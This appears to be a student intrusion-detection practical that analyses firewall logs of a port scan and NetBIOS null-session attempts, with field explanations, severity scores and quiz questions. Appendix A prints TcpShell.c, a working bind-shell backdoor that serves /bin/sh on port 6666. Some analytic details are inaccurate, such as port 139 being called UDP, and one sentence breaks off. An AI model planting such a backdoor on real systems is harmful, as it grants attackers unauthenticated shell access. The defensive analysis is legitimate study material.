13:35:37:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=2999,dst port=70,tcp_flags=0x2,deny,receive

13:35:37:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=3001,dst port=119,tcp_flags=0x2,deny,receive

13:35:37:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=3003,dst port=110,tcp_flags=0x2,deny,receive

13:35:38:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=3007,dst port=37,tcp_flags=0x2,deny,receive

13:35:38:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=3009,dst port=80,tcp_flags=0x2,deny,receive

13:35:38:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=3011,dst port=143,tcp_flags=0x2,deny,receive

13:35:39:09:02:2000,ng_permit,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=2997,dst port=21,tcp_flags=0x2,proxy,receive

13:35:41:09:02:2000,ng_permit,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=3005,dst port=25,tcp_flags=0x2,proxy,receive

13:37:03:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=3102,dst port=80,tcp_flags=0x2,deny,receive

13:21:41:10:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src

port=1157,dst port=80,tcp_flags=0x2,deny,receive

Full log not included repetition of above entries. Attacker did try an anonymous ftp logon to the ftp proxy that failed.

1. Source of Trace
    a. My network

2. Detect was generated by
    a. CyberGuard Firewall (binary logs)
    b. Explanation of fields
    00:13:32:01:06:2000, [Timestamp] ***ng_deny,*** [event type - **ng_deny** is discard a packet as instructed by a packet-filtering rule] ***P-1,*** [Process id number - due to streams processing –1 is displayed for the process preceded by the letter P] ***s,*** [outcome of event either s for success or f for failure] ***60001:60001,*** [User(Real:Effective) if names cannot be found the user ID is displayed] ***nobody:nobody,*** [Group(Real:Effective) for network events for which a group name or ID is not known the group name nobody is displayed] ***S-1***, [Session ID preceded by the letter S. –1 is printed to indicate that the session ID is not known],***src addr=202.235.50.12***, [source address] ***src intf=dec1,*** [Source interface] ***dst addr=AAA.BBB.5.1***, [Destination address] ***dst intf=lo0***,[Destination interface] ***tcp***, [protocol] ***src port=65535***, [source port] ***dst port=8080***, [destination port] ***tcp_flags=0x2***, [tcp flags 0x2 is SYN] ***deny***,[record type, deny a rule blocked the packet] ***receive*** [direction of the packet (receive or transmit)] ***src pkts=1***,[number of packets sent from source] ***src bytes=40***, [size in bytes of source packet(s)] **dst pkts=0**, [number of packets sent from destination] ***dst bytes=0*** [size in bytes of destination packet(s)]

3. Probability the source address was spoofed
    a. Low. IP address belongs to a range registered to Novosibirsk State Tecnical University in Russia.

4. Description of Attack
    a. TCP port Scan (reconnaissance). Attacker is first pinging then sending a udp 53 (DNS) query. Next a TCP Syn port scan is done against ports 7, 21, 70, 119, 25, 37, 80, 143.
    b. Based on source port incrementation one could assume simultaneous scanning from the source IP 193.125.239.210.
    c. Tool being used nmap or strobe.

5. Attack Mechanism
    a. Attack is reconnaissance. The attacker's goal is to determine the service ports that are listening.

b. The attack will work based on a response or absence of response.
c. Both ftp and smtp respond via the proxy on the firewall, and are denied without authentication.
d. When a response is received the tcp three-way hand shake causes the responding port to send a Syn-Ack packet in response to the Syn packet it received. The Source IP in this instance is

6. Correlations
   a. This Information scan was discussed in the Intrusion Detection and Packet Filtering: How It Really Works class (Tuesday 2.2) (page 125 – 134 in the text)

7. Evidence of Active Targeting
   a. This attack was generated at this specific host

8. Severity
   a. (critical + Lethal) – (System + Net Countermeasures) = Severity
   b. (5+1) – (5+5) = -4

9. Defensive recommendation
   a. Defenses are fine. Cisco Router ACL blocked attack.

10. Multiple Choice Question:
    This attack is a:
    A) DOS denial of Service
    B) Overflow
    C) Reconnaissance
    D) Trojan Scan
    Answer C)

Detect 10

07:04:41:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=207.236.123.45,src intf=dec1,dst addr=142.165.5.1,dst intf=lo0,tcp,src port=1915,dst port=139,tcp_flags=0x2,deny,receive

07:06:00:09:02:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=207.236.123.45,src intf=dec1,dst addr=142.165.5.1,dst intf=lo0,tcp,src port=1915,dst port=139,deny,src pkts=4,src bytes=192,dst pkts=0,dst bytes=0

07:10:22:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=207.236.123.45,src intf=dec1,dst addr=142.165.5.1,dst intf=lo0,tcp,src port=2268,dst port=139,tcp_flags=0x2,deny,receive

07:11:44:09:02:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=207.236.123.45,src intf=dec1,dst addr=142.165.5.1,dst intf=lo0,tcp,src port=2268,dst port=139,deny,src pkts=4,src bytes=192,dst pkts=0,dst bytes=0

07:26:18:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=207.236.123.19,src intf=dec1,dst addr=142.165.5.1,dst intf=lo0,tcp,src port=1055,dst port=139,tcp_flags=0x2,deny,receive

07:27:40:09:02:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=207.236.123.19,src intf=dec1,dst addr=142.165.5.1,dst intf=lo0,tcp,src port=1055,dst port=139,deny,src pkts=4,src bytes=192,dst pkts=0,dst bytes=0

1. Source of Trace
    a. My network

2. Detect was generated by
    a. CyberGuard Firewall (binary logs)
    b. Explanation of fields
    00:13:32:01:06:2000, [Timestamp] ***ng_deny,*** [event type - **ng_deny** is discard a packet as instructed by a packet-filtering rule] ***P-1,*** [Process id number - due to streams processing –1 is displayed for the process preceded by the letter P] ***s,*** [outcome of event either s for success or f for failure] ***60001:60001,*** [User(Real:Effective) if names cannot be found the user ID is displayed] ***nobody:nobody,*** [Group(Real:Effective) for network events for which a group name or ID is not known the group name nobody is displayed] ***S-1***, [Session ID preceded by the letter S. –1 is printed to indicate that the session ID is not known],***src addr=202.235.50.12***, [source address] ***src intf=dec1,*** [Source interface] ***dst addr=AAA.BBB.5.1***, [Destination address] ***dst intf=lo0***,[Destination interface] ***tcp***, [protocol] ***src port=65535***, [source port] ***dst port=8080***, [destination port] ***tcp_flags=0x2***, [tcp flags 0x2 is SYN] ***deny***,[record type, deny a rule blocked the packet] ***receive*** [direction of the packet (receive or transmit)] ***src pkts=1***,[number of packets sent from source] ***src bytes=40***, [size in bytes of source packet(s)] **dst pkts=0**, [number of packets sent from destination] ***dst bytes=0*** [size in bytes of destination packet(s)]

3. Probability the source address was spoofed
    a. Low. IP address belongs to a range registered Bell Global Network Operations Ottawa, Ontario.

4. Description of Attack

a. Null session attack attempt. Description from www.whitehats.com states" Windows NT login as Nobody (nt-netbios-nullsession). NULL-sessions is normaly used to list shares and users on a Windows NT server/client."
b. Two different host within the attackers domain have been used for the null session attack. Unfortunately we don't have the packet data to further analyze the trace.

5. Attack Mechanism

   a. Attack is reconnaissance for UDP 139. This type of scan provides a lot of information about user names and shares.. UDP137 is generally used for name resolution by Windows systems. This service is on by default on any windows system.

   b. From www.whitehats.com IDS204 states: "Users or shares were detected using a null session. A null session is a NetBIOS connection established with a zero length string as user, password, and domain name, which is designed to enable enumeration of shares and users. This capability has always been present in Windows NT, but was discovered to allow access to the registry with the same level of permissions as the Everyone group. It is a medium risk vulnerability (similar to finger) that allows users and shares to be enumerated."

6. Correlations
   a. This Information scan was discussed in the Intrusion Detection and Workshop class (Friday 2.5) (page 296 – 298 in the text)
   b. www.whitehats.com IDS204.

7. Evidence of Active Targeting
   a. This attack was generated at this specific host

8. Severity
   a. critical + Lethal) – (System + Net Countermeasures) = Severity
   b. (5+1) – (5+5) = -4

9. Defensive recommendation
   a. Defenses are fine. Cisco Router ACL blocked attack.

10. Multiple Choice Question:
    The null session attack is considered:
    A) Discard for NT
    B) Finger for NT
    C) Ping for NT
    D) Telnet for NT

Answer B)

Appendix A

Code listing for TcpShell.c

```
/*
 *  TCPShell.c        Semplice Shell raggiungibile via socket
 *                    Scritta solo per impratichirmi delle basi della
 *                    programmazione dei socket BSD.
 *
 *                    no(C)1998 by fusys
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>

#define  LISTENQ                1              /* listen() backlog */

int main (int argc, char *argv[])
{
       int lsocket ;          /* socket per listen() */
       int csocket ;           /* socket per connect() */

       struct sockaddr_in laddr ;      /* struttura IPv4 del demone */
       struct sockaddr_in caddr ;      /* struttura IPv4 del client */

       socklen_t len ;         /* dimensioni della struttura IPv4 */

      pid_t pid ;             /* tipo pid per il fork() */

   /* apriamo il server con socket(), bind() e listen() */

   if((lsocket=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
       perror("socket error");
       return(10);
   }

   len = sizeof(laddr) ;
```

```
    memset(&laddr, 0, len) ;
    laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
    laddr.sin_family = AF_INET ;
    laddr.sin_port = htons(6666) ;  /* apriamo sulla porta 6666 */
    if((bind(lsocket, (const struct sockaddr *)&laddr, len))) {
        perror("bind error");
        return(10);
    }
    if(listen(lsocket, LISTENQ)) {
        perror("listen error");
        return(10);
    }

    /* ora TCP se ne va nel paese dei demoni e si becca come
     * parente init, pronto a seccarlo alla conclusione  */

    if ((pid=fork()) == -1) {
        perror("Fork #1");
        return(20);
    }
    if (pid > 0) exit(0);       /* parente */
    setsid() ;                  /* figlio */

    /* ora accettiamo UNA connessione    */

        len = sizeof(caddr);
        if((csocket=accept(lsocket, &caddr, &len)) < 0) {
                perror("socket accept");
                abort();
        }

        dup2(csocket,0);
        dup2(csocket,1);
        dup2(csocket,2);

        system("/bin/sh -i");
        exit(0);
}
```